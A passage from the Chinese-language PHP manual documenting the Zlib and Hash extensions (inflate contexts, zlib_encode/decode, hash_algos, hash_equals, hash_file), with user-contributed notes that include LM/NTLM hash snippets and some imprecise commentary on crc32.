in doubt instead choose a rather small value and glue the pieces together,
until there's enough data for processing */
$step = 500000;

$dataGz = load_gzip_compressed_data_to_string();

$start = 0;
$outLen = 0;
$ctxt = inflate_init(ZLIB_ENCODING_GZIP);
$status = inflate_get_status($inflCtxt);

while($status == ZLIB_OK) {
    $split = substr($dataGz, $start, $step);
    $dataFragment = inflate_add($inflCtxt, $split);
    /* process fragment, potentially keep parts across iterations */
    $outLen += strlen($dataFragment);
    $status = inflate_get_status($inflCtxt);
    $start += $step;
}
echo 'Input: ' . strlen($dataGz) . ' Bytes / Output: ' . $outLen . ' Bytes.';
?>

N.B.: Archives of extremely high compression will still bomb out with a stupid and unnecessary memory exhaustion, as it's not possible to define a limit in inflate_init() similar to gzuncompress().


Get number of bytes read so far

  • ? inflate_add
  • inflate_get_status ?
  • PHP Manual
  • Zlib 函数
  • Get number of bytes read so far

inflate_get_read_len

(PHP 7 >= 7.2.0, PHP 8)

inflate_get_read_len — Get number of bytes read so far

说明

inflate_get_read_len(InflateContext $context): int

Warning

本函数还未编写文档，仅有参数列表。

参数

context

返回值

Returns number of bytes read so far 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | context expects an InflateContext instance now; previously, a resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


Get decompression status

  • ? inflate_get_read_len
  • inflate_init ?
  • PHP Manual
  • Zlib 函数
  • Get decompression status

inflate_get_status

(PHP 7 >= 7.2.0, PHP 8)

inflate_get_status — Get decompression status

说明

inflate_get_status(InflateContext $context): int

Usually returns either ZLIB_OK or ZLIB_STREAM_END.

参数

context

返回值

Returns decompression status.

更新日志

版本 | 说明
8.0.0 | context expects an InflateContext instance now; previously, a resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


Initialize an incremental inflate context

  • ? inflate_get_status
  • readgzfile ?
  • PHP Manual
  • Zlib 函数
  • Initialize an incremental inflate context

inflate_init

(PHP 7, PHP 8)

inflate_init — Initialize an incremental inflate context

说明

inflate_init(int $encoding, array $options = []): InflateContext|false

Initialize an incremental inflate context with the specified encoding.

参数

encoding

One of the ZLIB_ENCODING_* constants.

options

An associative array which may contain the following elements:

level

The compression level in range -1..9; defaults to -1.

memory

The compression memory level in range 1..9; defaults to 8.

window

The zlib window size (logarithmic) in range 8..15; defaults to 15.

strategy

One of ZLIB_FILTERED, ZLIB_HUFFMAN_ONLY, ZLIB_RLE, ZLIB_FIXED or ZLIB_DEFAULT_STRATEGY (the default).

dictionary

A string or an array of strings of the preset dictionary (default: no preset dictionary).

返回值

Returns an inflate context resource (zlib.inflate) on success, 或者在失败时返回 false.

错误／异常

If an invalid encoding or option is passed to options, or the context couldn't be created, an error of level E_WARNING is generated.

更新日志

版本 | 说明
8.0.0 | On success, this function returns an InflateContext instance now; previously, a resource was returned.

注释

Caution

Unlike gzinflate(), incremental inflate contexts do not constrain the length of the decoded data, so provide no automatic protection against Zip bombs.

参见

  • inflate_add() - Incrementally inflate encoded data
  • deflate_init() - Initialize an incremental deflate context

User Contributed Notes

There are no user contributed notes for this page.


Output a gz-file

  • ? inflate_init
  • zlib_decode ?
  • PHP Manual
  • Zlib 函数
  • Output a gz-file

readgzfile

(PHP 4, PHP 5, PHP 7, PHP 8)

readgzfile — Output a gz-file

说明

readgzfile(string $filename, int $use_include_path = 0): int|false

Reads a file, decompresses it and writes it to standard output.

readgzfile() can be used to read a file which is not in gzip format; in this case readgzfile() will directly read from the file without decompression.

参数

filename

The file name. This file will be opened from the filesystem and its contents written to standard output.

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

返回值

Returns the number of (uncompressed) bytes read from the file on success, 或者在失败时返回 false

错误／异常

失败时抛出 E_WARNING 警告。

参见

  • gzpassthru() - Output all remaining data on a gz-file pointer
  • gzfile() - Read entire gz-file into an array
  • gzopen() - Open gz-file

User Contributed Notes

glennh at webadept dot net 02-Oct-2003 01:52
This is a rather simple example of usage for this function, but it does work, and it solved a problem I was using with old browsers accessing gzipped files.

<?PHP

// first we need to stop the server from sending any headers at all.
ob_start();

readgzfile("test.html.gz"); // read the file and output directly to
the browser
                                      // non compressed data from the
file

ob_end_flush(); // let the headers go//

?>

There is no need for any html formating if the source file is an HTML formated page, such as the ones I'm using are. Checking the browser version, sends either the gzip file directly, or sends the browser to a page like this, which does the work for it. Well done simple function.

My server is running PHP 4.2.2 on Linux Redhat version 9 and
Apache 2.0.40


Uncompress any raw/gzip/zlib encoded data

  • ? readgzfile
  • zlib_encode ?
  • PHP Manual
  • Zlib 函数
  • Uncompress any raw/gzip/zlib encoded data

zlib_decode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

zlib_decode — Uncompress any raw/gzip/zlib encoded data

说明

zlib_decode(string $data, int $max_length = 0): string|false

Uncompress any raw/gzip/zlib encoded data.

Warning

本函数还未编写文档，仅有参数列表。

参数

data

max_length

返回值

Returns the uncompressed data, 或者在失败时返回 false.

参见

  • zlib_encode() - Compress data with the specified encoding

User Contributed Notes

anonymous at dekho-ji dot com 17-May-2013 09:10
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.


Compress data with the specified encoding

  • ? zlib_decode
  • zlib_get_coding_type ?
  • PHP Manual
  • Zlib 函数
  • Compress data with the specified encoding

zlib_encode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

zlib_encode — Compress data with the specified encoding

说明

zlib_encode(string $data, int $encoding, int $level = -1): string|false

Compress data with the specified encoding.

Warning

本函数还未编写文档，仅有参数列表。

参数

data

The data to compress.

encoding

The compression algorithm. Either ZLIB_ENCODING_RAW, ZLIB_ENCODING_DEFLATE or ZLIB_ENCODING_GZIP.

level

返回值

示例

Example #1 zlib_encode() example

<?php
$str = 'hello world';
$enc = zlib_encode($str, ZLIB_ENCODING_DEFLATE);
echo bin2hex($enc);
?>

以上示例会输出：

789ccb48cdc9c95728cf2fca4901001a0b045d

参见

  • zlib_decode() - Uncompress any raw/gzip/zlib encoded data

User Contributed Notes

geniuszxy at outlook dot com 19-Oct-2022 08:25
zlib_encode, gzcompress, gzdeflate and gzencode are the same functions besides the parameter order.

zlib_encode + ZLIB_ENCODING_RAW = gzdeflate
zlib_encode + ZLIB_ENCODING_DEFLATE = gzcompress
zlib_encode + ZLIB_ENCODING_GZIP = gzencode


Returns the coding type used for output compression

  • ? zlib_encode
  • DeflateContext ?
  • PHP Manual
  • Zlib 函数
  • Returns the coding type used for output compression

zlib_get_coding_type

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

zlib_get_coding_type — Returns the coding type used for output compression

说明

zlib_get_coding_type(): string|false

Returns the coding type used for output compression.

参数

此函数没有参数。

返回值

Possible return values are gzip, deflate, or false.

参见

  • The zlib.output_compression directive

User Contributed Notes

There are no user contributed notes for this page.


The DeflateContext class

(PHP 8)

简介

A fully opaque class which replaces zlib.deflate resources as of PHP 8.0.0.

类摘要

final class DeflateContext {
}

User Contributed Notes

There are no user contributed notes for this page.


The InflateContext class

(PHP 8)

简介

A fully opaque class which replaces zlib.inflate resources as of PHP 8.0.0.

类摘要

final class InflateContext {
}

User Contributed Notes

There are no user contributed notes for this page.


加密扩展

  • Hash — 散列信息摘要框架
    • 简介
    • 安装/配置
    • 预定义常量
    • HashContext — HashContext 类
    • Hash 函数
  • Mcrypt
    • 简介
    • 安装/配置
    • 预定义常量
    • Mcrypt 密码
    • Mcrypt 函数
  • Mhash
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Mhash 函数
  • OpenSSL
    • 简介
    • 安装/配置
    • 预定义常量
    • 密钥/证书参数
    • 证书验证
    • OpenSSL 函数
    • OpenSSLCertificate — OpenSSLCertificate 类
    • OpenSSLCertificateSigningRequest — OpenSSLCertificateSigningRequest 类
    • OpenSSLAsymmetricKey — OpenSSLAsymmetricKey 类
  • 密码散列算法
    • 简介
    • 安装/配置
    • 预定义常量
    • 密码散列算法函数
  • Rnp
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Rnp 函数
    • RnpFFI — The RnpFFI class
  • Sodium
    • 简介
    • 安装/配置
    • 预定义常量
    • Sodium 函数
    • SodiumException — The SodiumException class

User Contributed Notes

There are no user contributed notes for this page.


散列信息摘要框架

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • HashContext — HashContext 类
    • HashContext::__construct — 私有构造方法以禁止直接实例化
    • HashContext::__serialize — 序列化 HashContext 对象
    • HashContext::__unserialize — 反序列化 data 参数为 HashContext 对象
  • Hash 函数
    • hash_algos — 返回已注册的散列算法列表
    • hash_copy — 拷贝哈希运算上下文
    • hash_equals — 可防止时序攻击的字符串比较
    • hash_file — 给指定文件的内容生成散列值
    • hash_final — 结束增量散列且返回摘要结果
    • hash_hkdf — Generate a HKDF key derivation of a supplied key input
    • hash_hmac_algos — 返回适用于 hash_hmac 的已注册散列算法列表
    • hash_hmac_file — 使用 HMAC 方法和给定文件的内容生成带密钥的散列值
    • hash_hmac — 使用 HMAC 方法生成带有密钥的散列值
    • hash_init — 初始化增量散列运算上下文
    • hash_pbkdf2 — 生成所提供密码的 PBKDF2 密钥导出
    • hash_update_file — 从文件向活跃的散列运算上下文中填充数据
    • hash_update_stream — 从打开的流向活跃的散列运算上下文中填充数据
    • hash_update — 向活跃的哈希运算上下文中填充数据
    • hash — 生成散列值（消息摘要）

User Contributed Notes

There are no user contributed notes for this page.


简介

信息摘要（散列）引擎。允许使用各种散列算法直接或增量处理任意长度的信息。

User Contributed Notes

There are no user contributed notes for this page.


需求

使用这些函数不需要安装，它们是 PHP 核心的一部分。

User Contributed Notes

There are no user contributed notes for this page.


安装

从 PHP 5.1.2 开始，哈希扩展是内置的，不需要外部库， 并且默认是启用的。

可以通过 --disable-hash 参数来禁用此扩展。 对于更早版本的 PHP，可以通过安装 » PECL 模块 来使用哈希扩展。

从 PHP 7.4.0 开始，Hash 扩展成为 PHP 的核心扩展，所以可以直接使用。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

本扩展中定义了哈希上下文资源类型， 该类型资源由 hash_init() 函数返回。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

HASH_HMAC (int)
hash_init() 中的可选标志。表示 HMAC digest-keying 算法应被用于当前散列上下文环境。

User Contributed Notes

There are no user contributed notes for this page.


HashContext 类

(PHP 7 >= 7.2.0, PHP 8)

简介

类摘要

final class HashContext {
/* 方法 */
private __construct()
public __serialize(): array
public __unserialize(array $data): void
}

Table of Contents

  • HashContext::__construct — 私有构造方法以禁止直接实例化
  • HashContext::__serialize — 序列化 HashContext 对象
  • HashContext::__unserialize — 反序列化 data 参数为 HashContext 对象

User Contributed Notes

There are no user contributed notes for this page.


私有构造方法以禁止直接实例化

  • ? HashContext
  • HashContext::__serialize ?
  • PHP Manual
  • HashContext
  • 私有构造方法以禁止直接实例化

HashContext::__construct

(PHP 7 >= 7.2.0, PHP 8)

HashContext::__construct — 私有构造方法以禁止直接实例化

说明

private HashContext::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


序列化 HashContext 对象

  • ? HashContext::__construct
  • HashContext::__unserialize ?
  • PHP Manual
  • HashContext
  • 序列化 HashContext 对象

HashContext::__serialize

(PHP 8)

HashContext::__serialize — 序列化 HashContext 对象

说明

public HashContext::__serialize(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


反序列化 data 参数为 HashContext 对象

  • ? HashContext::__serialize
  • Hash 函数 ?
  • PHP Manual
  • HashContext
  • 反序列化 data 参数为 HashContext 对象

HashContext::__unserialize

(PHP 8)

HashContext::__unserialize — 反序列化 data 参数为 HashContext 对象

说明

public HashContext::__unserialize(array $data): void

Warning

本函数还未编写文档，仅有参数列表。

参数

data

要发序列化的值。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Hash 函数

Table of Contents

  • hash_algos — 返回已注册的散列算法列表
  • hash_copy — 拷贝哈希运算上下文
  • hash_equals — 可防止时序攻击的字符串比较
  • hash_file — 给指定文件的内容生成散列值
  • hash_final — 结束增量散列且返回摘要结果
  • hash_hkdf — Generate a HKDF key derivation of a supplied key input
  • hash_hmac_algos — 返回适用于 hash_hmac 的已注册散列算法列表
  • hash_hmac_file — 使用 HMAC 方法和给定文件的内容生成带密钥的散列值
  • hash_hmac — 使用 HMAC 方法生成带有密钥的散列值
  • hash_init — 初始化增量散列运算上下文
  • hash_pbkdf2 — 生成所提供密码的 PBKDF2 密钥导出
  • hash_update_file — 从文件向活跃的散列运算上下文中填充数据
  • hash_update_stream — 从打开的流向活跃的散列运算上下文中填充数据
  • hash_update — 向活跃的哈希运算上下文中填充数据
  • hash — 生成散列值（消息摘要）

User Contributed Notes

ocarter at mirabeau dot nl 11-Jan-2010 07:22
Note for FreeBSD with PHP-5.

This is disabled by default; use the security/php5-hash port:
cd /usr/ports/security/php5-hash ; make install clean
(do not use the security/pecl-hash port as in the past, see the /usr/ports/UPDATING post from 20081211)
kungla at gmail dot com 07-Dec-2009 05:00
For Samba ueserPassword you can use:

(I am not very sure aboute the salt part, but it works for me like that)

<?php
function CRYPThash($string, $salt = null)
{
    if (!$salt)
        $salt = rand(10,99);

    return "{CRYPT}".crypt($string, $salt);
}
?>

In posted NTLMHash function you can also use:

<?php
// Encrypt it with the MD4 hash
$MD4Hash=hash('md4',$Input);
?>

So you don't need to install mhash libraries
artem at it-nt dot ru 20-Jul-2008 12:35
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
CraquePipe 24-Mar-2008 04:42
For thoes of you who're looking to generate an NTLM hash (not an LM hash), I found out it's quite simple..

It uses the basic MD4 function, but the password needs to be in Unicode Little Endian encode first (this canbe achieved by the iconv function).

This can be done easily by using the following code:

<?php
function NTLMHash($Input) {
  // Convert the password from UTF8 to UTF16 (little endian)
  $Input=iconv('UTF-8','UTF-16LE',$Input);

  // Encrypt it with the MD4 hash
  $MD4Hash=bin2hex(mhash(MHASH_MD4,$Input));

  // You could use this instead, but mhash works on PHP 4 and 5 or above
  // The hash function only works on 5 or above
  //$MD4Hash=hash('md4',$Input);

  // Make it uppercase, not necessary, but it's common to do so with NTLM hashes
  $NTLMHash=strtoupper($MD4Hash);

  // Return the result
  return($NTLMHash);
}
?>

To produce an LM hash requires a fully-written script containing the algorithm used to make it.

Enjoy,
CraquePipe.
nb_removethis_ at wtal dot de 03-Sep-2007 05:24
Some tests with mhash and hash revealed on my machine that hash needs more than twice as long to create a hash than mhash. The average of one million cylces of Haval128, Haval256, Gost, CRC32, MD5, SHA1 and SHA256 was 450ms for mhash and 1150ms for hash.


返回已注册的散列算法列表

  • ? Hash 函数
  • hash_copy ?
  • PHP Manual
  • Hash 函数
  • 返回已注册的散列算法列表

hash_algos

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_algos — 返回已注册的散列算法列表

说明

hash_algos(): array

参数

此函数没有参数。

返回值

返回一个数值索引的数组， 包含了受支持的散列算法名称。

更新日志

版本 | 说明
8.1.0 | 新增对 MurmurHash3 和 xxHash 算法的支持。
7.4.0 | 支持 crc32c。
7.1.0 | 加入 sha512/224，sha512/256，sha3-224，sha3-256，sha3-384 以及 sha3-512 算法的支持。

示例

Example #1 hash_algos() 示例

在 PHP 8.1.0 中，hash_algos() 会返回下表所示的算法清单：

<?php
print_r(hash_algos());
?>

以上示例的输出类似于：

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512/224
    [8] => sha512/256
    [9] => sha512
    [10] => sha3-224
    [11] => sha3-256
    [12] => sha3-384
    [13] => sha3-512
    [14] => ripemd128
    [15] => ripemd160
    [16] => ripemd256
    [17] => ripemd320
    [18] => whirlpool
    [19] => tiger128,3
    [20] => tiger160,3
    [21] => tiger192,3
    [22] => tiger128,4
    [23] => tiger160,4
    [24] => tiger192,4
    [25] => snefru
    [26] => snefru256
    [27] => gost
    [28] => gost-crypto
    [29] => adler32
    [30] => crc32
    [31] => crc32b
    [32] => crc32c
    [33] => fnv132
    [34] => fnv1a32
    [35] => fnv164
    [36] => fnv1a64
    [37] => joaat
    [38] => murmur3a
    [39] => murmur3c
    [40] => murmur3f
    [41] => xxh32
    [42] => xxh64
    [43] => xxh3
    [44] => xxh128
    [45] => haval128,3
    [46] => haval160,3
    [47] => haval192,3
    [48] => haval224,3
    [49] => haval256,3
    [50] => haval128,4
    [51] => haval160,4
    [52] => haval192,4
    [53] => haval224,4
    [54] => haval256,4
    [55] => haval128,5
    [56] => haval160,5
    [57] => haval192,5
    [58] => haval224,5
    [59] => haval256,5
)

参见

  • hash_hmac_algos() - 返回适用于 hash_hmac 的已注册散列算法列表

User Contributed Notes

Miguel Florido 18-Oct-2014 11:04
Ansewring to holdoffhunger avoid crc32, the are different results because the crc32(); use the algorithm 'crc32b'. To check this only have to write:

echo hash('crc32b', 'The quick brown fox jumped over the lazy dog.'), "\n";
echo dechex (crc32('The quick brown fox jumped over the lazy dog.'));

And check that both have the same results:

82a34642
82a34642
holdoffhunger at gmail dot com 23-Jun-2012 11:42
If you print the results of the hash_algos function and look at all of the available hashing functions, you will find three with duplicate functions: md5, sha1, crc32, and sha256.  That means you can call the any of these function with either its own function or the hash function.  For example, with the SHA1 function :

<?php

            // Author: holdoffhunger@gmail.com

    $sha1_first_value = sha1("secret", FALSE);

    $sha1_second_value = hash("sha1", "secret", FALSE);

?>

However, the alternate title for the SHA256 algorithm is "getImageSignature", as part of the ImageMagick application package.  Oddly, the CRC32 function returns different values when called from its own particular function (crc32()) compared to when it's called through the hash function (hash()).  This leads me to suspect that they may be different implementations of the crc32 algorithm altogether.  The different functions for SHA1 and MD5, however, produce the same results.  The SHA-256 algorithm, as implemented in the ImageMagick function, also produces different results compared to the results of the hash_file() function within the Hash application package.

For the String "1234567890", the single CRC32() Function (which doesn't have an option for binary, "raw data" representation) produces "639479525", but when called through the Hash() Function, that same string produces "b6536850".  I cannot find the relationship of any of these values, as they are not inverses of each other, nor is their sum or difference equal to any power of two (as I suspected they might be an equal distance from 0 or 2^32).

Both the SHA1 and MD5 alternate functions have the parameter of "TRUE/FALSE" at the end to indicate whether the result is given in binary (raw data) or not.  Unfortunately, this often turns out to be data that doesn't print very well.  It is recommended to be printed with the statement of printf("%u\n", $crc_32_value);.  However, that often doesn't produce any usable results, either.  The only method I have discovered is the "bin2hex" function, like so :

<?php

    $md5_value = hash("md5", "secret", FALSE);
    $md5_value_in_hex = bin2hex($md5_value);

?>

However, bin2hex returns a hexadecimal representation, whereas you probably wanted a string of binary 1's and 0's.  You can use the base_convert function, such as base_convert($md5_value_in_hex, 16, 2);.  However, base_convert doesn't work on large numbers, so you have to write your own function for converting Hex to Binary.

One other thing that will probably catch your attention is that half of the listed algorithms have similar names, but are represented with different numbers.  That means that the algorithm takes parameters itself, such as number of bits for the resultant hash value and number of rounds to do in producing the hashed result.  The first number in the title of the Hash Function usually indicates the size of the hash result, such as 128 bit for "haval128,3" and 160 bit for "tiger160,4".  The second number, however, indicates the number of rounds, such as 5 rounds for "haval224,5".
alvaro at demogracia dot com 16-Nov-2010 05:02
These algorithms can be used to generate a session ID. Just pick a string value from the list and feed the session.hash_function directive with it. E.g.:

<?php
ini_set('session.hash_function', 'whirlpool');
?>


拷贝哈希运算上下文

  • ? hash_algos
  • hash_equals ?
  • PHP Manual
  • Hash 函数
  • 拷贝哈希运算上下文

hash_copy

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

hash_copy — 拷贝哈希运算上下文

说明

hash_copy(HashContext $context): HashContext

参数

context

由 hash_init() 函数返回的哈希运算上下文。

返回值

返回哈希运算上下文的一个复本。

更新日志

版本 | 说明
7.2.0 | 接受的参数以及返回值从资源类型修改为 HashContext 对象类型。

示例

Example #1 hash_copy() 示例

<?php
$context = hash_init("sha256");
hash_update($context, "The quick brown fox ");

/* 拷贝上下文资源以便继续使用 */
$copy_context = hash_copy($context);

echo hash_final($context), "\n";

hash_update($copy_context, "jumped over the lazy dog.");
echo hash_final($copy_context), "\n";
?>

以上示例会输出：

b29d66e56ed90cce9b0165c43fedec612b60a071974d8be4513e18580d55b5bd
68b1282b91de2c054c36629cb8dd447f12f096d3e3c587978dc2248444633483

User Contributed Notes

There are no user contributed notes for this page.


可防止时序攻击的字符串比较

  • ? hash_copy
  • hash_file ?
  • PHP Manual
  • Hash 函数
  • 可防止时序攻击的字符串比较

hash_equals

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

hash_equals — 可防止时序攻击的字符串比较

说明

hash_equals(string $known_string, string $user_string): bool

检查两个字符串是否相等，而不会通过执行时泄露有关 known_string 内容的任何信息。

此函数可用于缓解计时攻击。使用 === 进行常规比较所需的时间的长短取决于两个值是否不同以及可以找到第一个不同的位置，从而泄露有关 known_string 内容的秘密信息。

Caution

非常重要的一点是，用户提供的字符串必须是第二个参数。

参数

known_string

必须保密的已知 string。

user_string

与已知字符串进行比较的用户提供的 string。

返回值

当两个字符串相等时返回 true，否则返回 false。

示例

Example #1 hash_equals() 示例

<?php
$secretKey = '8uRhAeH89naXfFXKGOEj';

// 值和签名是由用户提供的，例如在 URL 中，使用 $_GET 检索。
$value = 'username=rasmuslerdorf';
$signature = '8c35009d3b50caf7f5d2c1e031842e6b7823a1bb781d33c5237cd27b57b5f327';

if (hash_equals(hash_hmac('sha256', $value, $secretKey), $signature)) {
echo "The value is correctly signed.", PHP_EOL;
} else {
echo "The value was tampered with.", PHP_EOL;
}
?>

以上示例会输出：

The value is correctly signed.

注释

Note:

要想成功进行比较，那么所提供的 2 个参数必须是相同长度的字符串。 如果所提供的字符串长度不同，那么本函数会立即返回 false， 在时序攻击的场景下，已知字符串的长度可能会被泄露。

参见

  • hash_hmac() - 使用 HMAC 方法生成带有密钥的散列值

User Contributed Notes

There are no user contributed notes for this page.


给指定文件的内容生成散列值

  • ? hash_equals
  • hash_final ?
  • PHP Manual
  • Hash 函数
  • 给指定文件的内容生成散列值

hash_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_file — 给指定文件的内容生成散列值

说明

hash_file(
string $algo,
string $filename,
bool $binary = false,
array $options = []
): string|false

参数

algo

要使用的散列算法的名称（例如："md5"、"sha256"、"haval160,4"等）。 可以在 hash_algos() 中查看当前支持的算法。

filename

要进行散列运算的文件位置的 URL；支持 fopen 封装协议。

binary

设置为 true 时，输出原始二进制数据。 设置为 false 时，输出小写的十六进制字符串。

options

各种散列算法的一系列选项数组。目前 MurmurHash 算法仅支持 "seed" 参数。

返回值

如果 binary 设置为 true， 则返回原始二进制数据表示的信息摘要， 否则返回十六进制小写字符串格式表示的信息摘要。

更新日志

版本 | 说明
8.1.0 | 新增 options 参数。

示例

Example #1 hash_file() 示例

<?php
/* Create a file to calculate hash of */
file_put_contents('example.txt', 'The quick brown fox jumped over the lazy dog.');

echo hash_file('sha256', 'example.txt');
?>

以上示例会输出：

68b1282b91de2c054c36629cb8dd447f12f096d3e3c587978dc2248444633483

参见

  • hash() - 生成散列值（消息摘要）
  • hash_hmac_file() - 使用 HMAC 方法和给定文件的内容生成带密钥的散列值
  • hash_update_file() - 从文件向活跃的散列运算上下文中填充数据
  • md5_file() - 计算指定文件的 MD5 散列值
  • sha1_file() - 计算文件的 sha1 散列值

User Contributed Notes

Lawrence Cherone 26-Mar-2018 12:23
It's sometimes necessary to hash the same file with different algos,

<?php
function hash_file_multi($algos = [], $filename) {
    if (!is_array($algos)) {
        throw new \InvalidArgumentException('First argument must be an array');
    }

    if (!is_string($filename)) {
        throw new \InvalidArgumentException('Second argument must be a string');
    }

    if (!file_exists($filename)) {
        throw new \InvalidArgumentException('Second argument, file not found');
    }

    $result = [];
    $fp = fopen($filename, "r");
    if ($fp) {
        // ini hash contexts
        foreach ($algos as $algo) {
            $ctx[$algo] = hash_init($algo);
        }

        // calculate hash
        while (!feof($fp)) {
            $buffer = fgets($fp, 65536);
            foreach ($ctx as $key => $context) {
                hash_update($ctx[$key], $buffer);
            }
        }

        // finalise hash and store in return
        foreach ($algos as $algo) {
            $result[$algo] = hash_final($ctx[$algo]);
        }

        fclose($fp);
    } else {
        throw new \InvalidArgumentException('Could not open file for reading');
    }
    return $result;
}
?>

Which would be used like:

<?php
$result = hash_file_multi(['md5', 'sha1', 'sha256'], 'path/to/file.ext');

var_dump($result['md5'] === hash_file('md5', 'path/to/file.ext')); //true
var_dump($result['sha1'] === hash_file('sha1', 'path/to/file.ext')); //true
var_dump($result['sha256'] === hash_file('sha256', 'path/to/file.ext')); //true
lnker dot ua at gmail dot com 05-Sep-2017 02:28
Link id : 6r1j-d2gs
Code description : hash_file() performance check; Table head columns are sortable by clicking;

Open the code with PhpFiddle - http://phpfiddle.org/main/code/6r1j-d2gs
Open the code with PhpFiddle Lite - http://phpfiddle.org/lite/code/6r1j-d2gs

So do not care a lot about performance! Just use what you need!
synnus at gmail dot com 17-Jun-2015 11:57
bench 476 Mo, win is 'haval160,4' : 0.037002

ALGO: md2, time: 74.702272891998
ALGO: md4, time: 9.2155270576477
ALGO: md5, time: 9.0815191268921
ALGO: sha1, time: 9.0945210456848
ALGO: sha224, time: 9.1465229988098
ALGO: sha256, time: 9.143522977829
ALGO: sha384, time: 14.065804004669
ALGO: sha512, time: 13.990800857544
ALGO: ripemd128, time: 9.3185329437256
ALGO: ripemd160, time: 9.3165328502655
ALGO: ripemd256, time: 9.2495288848877
ALGO: ripemd320, time: 9.2395279407501
ALGO: whirlpool, time: 27.779588937759
